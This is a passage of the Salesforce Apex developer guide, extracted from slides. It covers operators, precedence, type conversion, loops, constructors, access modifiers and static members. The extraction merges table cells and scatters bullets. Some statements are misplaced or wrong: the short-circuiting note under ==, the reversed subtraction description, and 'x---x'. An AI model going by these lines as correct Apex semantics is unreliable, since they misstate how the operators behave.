  • 65. Data Types and Variables Operator Syntax Understanding Expression Operators Description • • == x == y This operator exhibits “short-circuiting” behavior, which means y is evaluated only if x is false. x and y cannot be null. Equality operator. If the value of x equals the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: • Unlike Java, == in Apex compares object value equality, not reference equality, except for user-defined types. Consequently: ◊ String comparison using == is case insensitive ◊ ID comparison using == is case sensitive, and does not distinguish between 15-character and 18-character formats ◊ User-defined types are compared by reference, which means that two objects are equal only if they reference the same location in memory. You can override this default comparison behavior by providing equals and hashCode methods in your class to compare object values instead. • • • • • For sObjects and sObject arrays, == performs a deep check of all sObject field values before returning its result. Likewise for collections and built-in Apex objects. For records, every field must have the same value for == to evaluate to true. x or y can be the literal null. The comparison of any two values can never result in null. SOQL and SOSL use = for their equality operator, and not ==. Although Apex and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy exists because most modern languages use = for assignment and == for equality. The designers of Apex deemed it more valuable to maintain this paradigm than to force developers to learn a new assignment operator. The result is that Apex developers must use == for equality tests in the main body of the Apex code, and = for equality in SOQL and SOSL queries. === x === y Exact equality operator. If x and y reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. < x < y Less than operator. If x is less than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: • • • Unlike other database stored procedures, Apex does not support tri-state Boolean logic, and the comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. 41
  • 66. Data Types and Variables Operator Syntax Understanding Expression Operators Description • • • • > x > y If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user. Greater than operator. If x is greater than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: • • • • • • • <= x <= y The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user. Less than or equal to operator. If x is less than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: • • • • • • • >= x >= y The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user. Greater than or equal to operator. If x is greater than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: • • The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. 42
  • 67. Data Types and Variables Operator Syntax Understanding Expression Operators Description • • • • • != x != y A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user. Inequality operator. If the value of x does not equal the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: • • • • • • Unlike Java, != in Apex compares object value equality, not reference equality, except for user-defined types. For sObjects and sObject arrays, != performs a deep check of all sObject field values before returning its result. For records, != evaluates to true if the records have different values for any field. User-defined types are compared by reference, which means that two objects are different only if they reference different locations in memory. You can override this default comparison behavior by providing equals and hashCode methods in your class to compare object values instead. x or y can be the literal null. The comparison of any two values can never result in null. !== x !== y Exact inequality operator. If x and y do not reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. + x + y Addition operator. Adds the value of x to the value of y according to the following rules: • If x and y are Integers or Doubles, adds the value of x to the value of y. If a Double is used, the result is a Double. • If x is a Date and y is an Integer, returns a new Date that is incremented by the specified number of days. • If x is a Datetime and y is an Integer or Double, returns a new Date that is incremented by the specified number of days, with the fractional portion corresponding to a portion of a day. • If x is a String and y is a String or any other type of non-null argument, concatenates y to the end of x. - x - y Subtraction operator. Subtracts the value of y from the value of x according to the following rules: • If x and y are Integers or Doubles, subtracts the value of x from the value of y. If a Double is used, the result is a Double. • If x is a Date and y is an Integer, returns a new Date that is decremented by the specified number of days. 43
  • 68. Data Types and Variables Operator Syntax Understanding Expression Operators Description • If x is a Datetime and y is an Integer or Double, returns a new Date that is decremented by the specified number of days, with the fractional portion corresponding to a portion of a day. * x * y Multiplication operator. Multiplies x, an Integer or Double, with y, another Integer or Double. Note that if a double is used, the result is a Double. / x / y Division operator. Divides x, an Integer or Double, by y, another Integer or Double. Note that if a double is used, the result is a Double. ! !x Logical complement operator. Inverts the value of a Boolean, so that true becomes false, and false becomes true. - -x Unary negation operator. Multiplies the value of x, an Integer or Double, by -1. Note that the positive equivalent + is also syntactically valid, but does not have a mathematical effect. ++ x++ Increment operator. Adds 1 to the value of x, a variable of a numeric type. If prefixed (++x), the expression evaluates to the value of x after the increment. If postfixed (x++), the expression evaluates to the value of x before the increment. ++x -- x---x Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type. If prefixed (--x), the expression evaluates to the value of x after the decrement. If postfixed (x--), the expression evaluates to the value of x before the decrement. & x & y Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid for types Long or Integer. | x | y Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid for types Long or Integer. ^ x ^ y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. ^= x ^= y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. << x << y Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the high order bits are lost, and the new right bits are set to 0. >> x >> y Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of y and 1 for negative values of y. >>> x >>> y Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for all values of y. () (x) Parentheses. Elevates the precedence of an expression x so that it is evaluated first in a compound expression. 44
  • 69. Data Types and Variables Understanding Operator Precedence Understanding Operator Precedence Apex uses the following operator precedence rules: Precedence Operators Description 1 {} () ++ -- Grouping and prefix increments and decrements 2 ! -x +x (type) new Unary negation, type cast and object creation 3 * / Multiplication and division 4 + - Addition and subtraction 5 < <= > >= instanceof Greater-than and less-than comparisons, reference tests 6 == != Comparisons: equal and not-equal 7 && Logical AND 8 || Logical OR 9 = += -= *= /= &= Assignment operators Using Comments Both single and multiline comments are supported in Apex code: • To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example: Integer i = 1; // This comment is ignored by the parser • To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example: Integer i = 1; /* This comment can wrap over multiple lines without getting interpreted by the parser. */ Assignment Statements An assignment statement is any statement that places a value into a variable, generally in one of the following two forms: [LValue] = [new_value_expression]; [LValue] = [[inline_soql_query]]; In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include: 45
  • 70. Data Types and Variables • Assignment Statements A simple variable. For example: Integer i = 1; Account a = new Account(); Account[] accts = [SELECT Id FROM Account]; • A de-referenced list element. For example: ints[0] = 1; accts[0].Name = 'Acme'; • An sObject field reference that the context user has permission to edit. For example: Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco'); // IDs cannot be set prior to an insert call // a.Id = '00300000003T2PGAA0'; // Instead, insert the record. The system automatically assigns it an ID. insert a; // Fields also must be writeable for the context user // a.CreatedDate = System.today(); This code is invalid because // createdDate is read-only! // Since the account a has been inserted, it is now possible to // create a new contact that is related to it Contact c = new Contact(LastName = 'Roth', Account = a); // Notice that you can write to the account name directly through the contact c.Account.Name = 'salesforce.com'; Assignment is always done by reference. For example: Account a = new Account(); Account b; Account[] c = new Account[]{}; a.Name = 'Acme'; b = a; c.add(a); // These asserts should now be true. You can reference the data // originally allocated to account a through account b and account list c. System.assertEquals(b.Name, 'Acme'); System.assertEquals(c[0].Name, 'Acme'); Similarly, two lists can point at the same value in memory. For example: Account[] a = new Account[]{new Account()}; Account[] b = a; a[0].Name = 'Acme'; System.assert(b[0].Name == 'Acme'); In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression Operators on page 39. 46
  • 71. Data Types and Variables Understanding Rules of Conversion Understanding Rules of Conversion In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted, without using a method. Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion. The following is the hierarchy for numbers, from lowest to highest: 1. 2. 3. 4. Integer Long Double Decimal Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the higher type of number. Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and implicit object conversion is never allowed. In addition to numbers, other data types can be implicitly converted. The following rules apply: • • • IDs can always be assigned to Strings. Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime exception is thrown. The instanceOf keyword can always be used to test whether a string is an ID. Additional Considerations for Data Types Data Types of Numeric Values Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example, the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds. However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this example: Long d = 2147483648L;. Overflow of Data Type Values Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example, Integer i = 2147483647 + 1; yields a value of –2147483648 because 2147483647 is the maximum value for an Integer, so adding one to it wraps the value around to the minimum negative value for Integers, –2147483648. If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear = 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long numeric values. Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L; Long ExpectedValue = 31536000000L; System.assertEquals(MillsPerYear, ExpectedValue); 47
  • 72. Data Types and Variables Understanding Rules of Conversion Loss of Fractions in Divisions When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0 and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost. 48
  • 73. Chapter 5 Control Flow Statements In this chapter ... Apex provides statements that control the flow of code execution. • • Statements are generally executed line by line, in the order they appear. With control flow statements, you can cause Apex code to execute based on a certain condition or you can have a block of code execute repeatedly. This section describes these control flow statements: if-else statements and loops. Conditional (If-Else) Statements Loops 49
  • 74. Control Flow Statements Conditional (If-Else) Statements Conditional (If-Else) Statements The conditional statement in Apex works similarly to Java: if ([Boolean_condition]) // Statement 1 else // Statement 2 The else portion is always optional, and always groups with the closest if. For example: Integer x, sign; // Your code if (x <= 0) if (x == 0) sign = 0; else sign = -1; is equivalent to: Integer x, sign; // Your code if (x <= 0) { if (x == 0) { sign = 0; } else { sign = -1; } } Repeated else if statements are also allowed. For example: if (place == 1) { medal_color = 'gold'; } else if (place == 2) { medal_color = 'silver'; } else if (place == 3) { medal_color = 'bronze'; } else { medal_color = null; } Loops Apex supports the following five types of procedural loops: • • • • • do {statement} while (Boolean_condition); while (Boolean_condition) statement; for (initialization; Boolean_exit_condition; increment) statement; for (variable : array_or_set) statement; for (variable : [inline_soql_query]) statement; All loops allow for loop control structures: • • break; exits the entire loop continue; skips to the next iteration of the loop 50
  • 75. Control Flow Statements Do-While Loops Do-While Loops The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is: do { code_block } while (condition); Note: Curly braces ({}) are always required around a code_block. As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently, the code block always runs at least once. As an example, the following code outputs the numbers 1 - 10 into the debug log: Integer count = 1; do { System.debug(count); count++; } while (count < 11); While Loops The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is: while (condition) { code_block } Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement. Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is possible for the code block to never execute. As an example, the following code outputs the numbers 1 - 10 into the debug log: Integer count = 1; while (count < 11) { System.debug(count); count++; } For Loops Apex supports three variations of the for loop: 51
  • 76. Control Flow Statements • For Loops The traditional for loop: for (init_stmt; exit_condition; increment_stmt) { code_block } • The list or set iteration for loop: for (variable : list_or_set) { code_block } where variable must be of the same primitive or sObject type as list_or_set. • The SOQL for loop: for (variable : [soql_query]) { code_block } or for (variable_list : [soql_query]) { code_block } Both variable and variable_list must be of the same sObject type as is returned by the soql_query. Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement. Each is discussed further in the sections that follow. Traditional For Loops The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is: for (init_stmt; exit_condition; increment_stmt) { code_block } When executing this type of for loop, the Apex runtime engine performs the following steps, in order: 1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement. 2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits. 3. Execute the code_block. 4. Execute the increment_stmt statement. 5. Return to Step 2. As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is included to demonstrate the syntax: for (Integer i = 0, j = 0; i < 10; i++) { System.debug(i+1); } 52
  • 77. Control Flow Statements For Loops List or Set Iteration for Loops The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is: for (variable : list_or_set) { code_block } where variable must be of the same primitive or sObject type as list_or_set. When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and runs the code_block for each value. For example, the following code outputs the numbers 1 - 10 to the debug log: Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; for (Integer i : myInts) { System.debug(i); } Iterating Collections Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes them. Adding Elements During Iteration To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original after you finish iterating the collection. Removing Elements During Iteration To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements you wish to remove to a temporary list and remove them after you finish iterating the collection. Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications. To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you finish iterating the collection. 53
  • 78. Chapter 6 Classes, Objects, and Interfaces In this chapter ... • • • • • • • • • • • Understanding Classes Understanding Interfaces Keywords Annotations Classes and Casting Differences Between Apex Classes and Java Classes Class Definition Creation Namespace Prefix Apex Code Versions Lists of Custom Types and Sorting Using Custom Types in Map Keys and Sets This chapter covers classes and interfaces in Apex. It describes defining classes, instantiating them, and extending them. Interfaces, Apex class versions, properties, and other related class concepts are also described. In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those who are familiar with them. 54
  • 79. Classes, Objects, and Interfaces Understanding Classes Understanding Classes As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive. All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a customer. A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type. Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods are used to control behavior, such as getOtherQuotes or copyLineItems. A class can contain other classes, exception types, and initialization code. An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface. For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html Apex Class Definition In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class. You can only have inner classes one level deep. For example: public class myOuterClass { // Additional myOuterClass code here class myInnerClass { // myInnerClass code here } } To define a class, specify the following: 1. Access modifiers: • • You must use one of the access modifiers (such as public or global) in the declaration of a top-level class. You do not have to use an access modifier in the declaration of an inner class. 2. Optional definition modifiers (such as virtual, abstract, and so on) 3. Required: The keyword class followed by the name of the class 4. Optional extensions and/or implementations Use the following syntax for defining classes: private | public | global [virtual | abstract | with sharing | without sharing | (none)] class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)] { // The body of the class } 55
  • 80. Classes, Objects, and Interfaces • • • • • • Class Variables The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private. This keyword can only be used with inner classes. The public access modifier declares that this class is visible in your application or namespace. The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer, top-level class must also be defined as global. The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see Using the with sharing or without sharing Keywords on page 77. The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the override keyword unless the class has been defined as virtual. The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature declared and no body defined. Note: • • • You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have an implementation. You cannot override a public or protected virtual method of a global class of an installed managed package. For more information about managed packages, see What is a Package? on page 384. A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Understanding Interfaces on page 71. For more information about method and variable access modifiers, see Access Modifiers on page 60. Class Variables To declare a variable, specify the following: • • • • Optional: Modifiers, such as public or final, as well as static. Required: The data type of the variable, such as String or Boolean. Required: The name of the variable. Optional: The value of the variable. Use the following syntax when defining a variable: [public | private | protected | global | final] [static] data_type variable_name [= value] For example: private static final Integer MY_INT; private final Integer i = 1; Class Methods To define a method, specify the following: 56
  • 81. Classes, Objects, and Interfaces • • • • Class Methods Optional: Modifiers, such as public or protected. Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a value. Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses (). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters. Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is contained here. Use the following syntax when defining a method: (public | private | protected | global ) [override] [static] data_type method_name (input parameters) { // The body of the method } Note: You can only use override to override methods in classes that have been defined as virtual. For example: public static Integer getInt() { return MY_INT; } As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable. Note that user-defined methods: • • • • • Can be used anywhere that system methods are used. Can be recursive. Can have side effects, such as DML insert statements that initialize sObject record IDs. See DML Statements on page 390. Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so forward declarations are not needed. Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 47. Note: If the parser finds multiple approximate matches, a parse-time exception is generated. • When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements in Apex code. For example: System.debug('Here is a note for the log.'); • Can have statements where the return values are run as a statement if their results are not assigned to another variable. This is the same as in Java. 57
  • 82. Classes, Objects, and Interfaces Class Methods Passing Method Arguments By Value In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost. Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another object. However, the values of the object's fields can be changed in the method. The following are examples of passing primitive and non-primitive data type arguments into methods. Example: Passing Primitive Data Type Arguments This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value. public class PassPrimitiveTypeExample { public static void debugStatusMessage() { String msg = 'Original value'; processString(msg); // The value of the msg variable didn't // change; it is still the old value. System.assertEquals(msg, 'Original value'); } public static void processString(String s) { s = 'Modified value'; } } Example: Passing Non-Primitive Data Type Arguments This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List argument can’t be modified to point to another List object. First, the createTemperatureHistory method creates a variable, fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original createMe variable doesn’t point to the new List but still points to the original List, which is empty. An assert verifies that createMe contains no values. public class PassNonPrimitiveTypeExample { public static void createTemperatureHistory() { List<Integer> fillMe = new List<Integer>(); reference(fillMe); // The list is modified and contains five items // as expected. System.assertEquals(fillMe.size(),5); List<Integer> createMe = new List<Integer>(); referenceNew(createMe); // The list is not modified because it still points // to the original list, not the new list // that the method created. System.assertEquals(createMe.size(),0); } public static void reference(List<Integer> m) { // Add rounded temperatures for the last five days. m.add(70); 58
  • 83. Classes, Objects, and Interfaces Using Constructors m.add(68); m.add(75); m.add(80); m.add(82); } public static void referenceNew(List<Integer> m) { // Assign argument to a new List of // five temperature values. m = new List<Integer>{55, 59, 62, 60, 63}; } } Using Constructors A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used. The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and it is not inherited by the object created from it. After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that constructor. For example, using the following class: public class TestObject { // The no argument constructor public TestObject() { // more code here } } A new object of this type can be instantiated with the following code: TestObject myTest = new TestObject(); If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create your own. In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters. The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument. It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining. public class TestObject2 { private static final Integer DEFAULT_SIZE = 10; Integer size; //Constructor with no arguments public TestObject2() { this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor } // Constructor with one argument public TestObject2(Integer ObjectSize) { size = ObjectSize; 59
  • 84. Classes, Objects, and Interfaces Access Modifiers } } New objects of this type can be instantiated with the following code: TestObject2 myObject1 = new TestObject2(42); TestObject2 myObject2 = new TestObject2(); Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are possible: public class Leads { // First a no-argument constructor public Leads () {} // A constructor with one argument public Leads (Boolean call) {} // A constructor with two arguments public Leads (String email, Boolean call) {} // Though this constructor has the same arguments as the // one above, they are in a different order, so this is legal public Leads (Boolean call, String email) {} } When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names, such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that class or subclass. Access Modifiers Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables. While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example, declaring a method as global in an anonymous block does not enable you to call it from outside of that code. For more information on class access modifiers, see Apex Class Definition on page 55. Note: Interface methods have no access modifiers. They are always global. For more information, see Understanding Interfaces on page 71. By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the level of visibility by using the following access modifiers: private This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private. protected This means that the method or variable is visible to any inner classes in the defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more permissive than the default (private) setting, just like Java. 60
  • 85. Classes, Objects, and Interfaces Static and Instance public This means the method or variable can be used by any Apex in this application or namespace. Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications, to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to use the global access modifier. global This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains it as global. Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to maintain. To use the private, protected, public, or global access modifiers, use the following syntax: [(none)|private|protected|public|global] declaration For example: private string s1 = '1'; public string gets1() { return this.s1; } Static and Instance In Apex, you can have static methods, variables, and initialization code. Apex classes can’t be static. You can also have instance methods, member variables, and initialization code (which have no modifier), and local variables: • • • Static methods, variables, or initialization code are associated with a class, and are only allowed in outer classes. When you declare a method or variable as static, it's initialized only once when a class is loaded. Static variables aren't transmitted as part of the view state for a Visualforce page. Instance methods, member variables, and initialization code are associated with a particular object and have no definition modifier. When you declare instance methods, member variables, or initialization code, an instance of that item is created with every object instantiated from the class. Local variables are associated with the block of code in which they are declared. All local variables should be initialized before they are used. The following is an example of a local variable whose scope is the duration of the if code block: Boolean myCondition = true; if (myCondition) { integer localVariable = 10; } 61
  • 86. Classes, Objects, and Interfaces Static and Instance Using Static Methods and Variables You can only use static methods and variables with outer classes. Inner classes have no static methods or variables. A static method or variable does not require an instance of the class in order to run. All static member variables in a class are initialized before any object of the class is created. This includes any static initialization code blocks. All of these are run in the order in which they appear in the class. Static methods are generally used as utility methods and never depend on a particular instance member variable value. Because a static method is only associated with a class, it cannot access any instance member variable values of its class. Static variables are only static within the scope of the request. They’re not static across the server, or across the entire organization. Use static variables to store information that is shared within the confines of the class. All instances of the same class share a single copy of the static variables. For example, all triggers that are spawned by the same transaction can communicate with each other by viewing and updating static variables in a related class. A recursive trigger might use the value of a class variable to determine when to exit the recursion. Suppose you had the following class: public class p { public static boolean firstRun = true; } A trigger that uses this class could then selectively fail the first run of the trigger: trigger t1 on Account (before delete, after delete, after undelete) { if(Trigger.isBefore){ if(Trigger.isDelete){ if(p.firstRun){ Trigger.old[0].addError('Before Account Delete Error'); p.firstRun=false; } } } } Static variables defined in a trigger don’t retain their values between different trigger contexts within the same transaction, for example, between before insert and after insert invocations. Define the static variables in a class instead so that the trigger can access these class member variables and check their static values. Class static variables cannot be accessed through an instance of that class. So if class C has a static variable S, and x is an instance of C, then x.S is not a legal expression. The same is true for instance methods: if M() is a static method then x.M() is not legal. Instead, your code should refer to those static identifiers using the class: C.S and C.M(). If a local variable is named the same as the class name, these static methods and variables are hidden. Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword). Note: For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the chunk of 200 records to process is further split into chunks of 100 records. For Apex saved using Salesforce.com API version 21.0 and later, no further splits of API chunks occur. Note that static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information between API batches. 62
  • 87. Classes, Objects, and Interfaces Static and Instance Using Instance Methods and Variables Instance methods and member variables are used by an instance of a class, that is, by an object. Instance member variables are declared inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method. Suppose you wanted to have a class that collects two dimensional points and plot them on a graph. The following skeleton class illustrates this, making use of member variables to hold the list of points and an inner class to manage the two-dimensional list of points. public class Plotter { // This inner class manages the points class Point { Double x; Double y; Point(Double x, Double y) { this.x = x; this.y = y; } Double getXCoordinate() { return x; } Double getYCoordinate() { return y; } } List<Point> points = new List<Point>(); public void plot(Double x, Double y) { points.add(new Point(x, y)); } // The following method takes the list of points and does something with them public void render() { } } Using Initialization Code Instance initialization code is a block of code in the following form that is defined in a class: { //code body } The instance initialization code in a class is executed every time an object is instantiated from that class. These code blocks run before the constructor. If you do not want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables. However, most of the time you should either give the variable a default value or use the body of a constructor to do initialization and not use instance initialization code. Static initialization code is a block of code preceded with the keyword static: static { 63
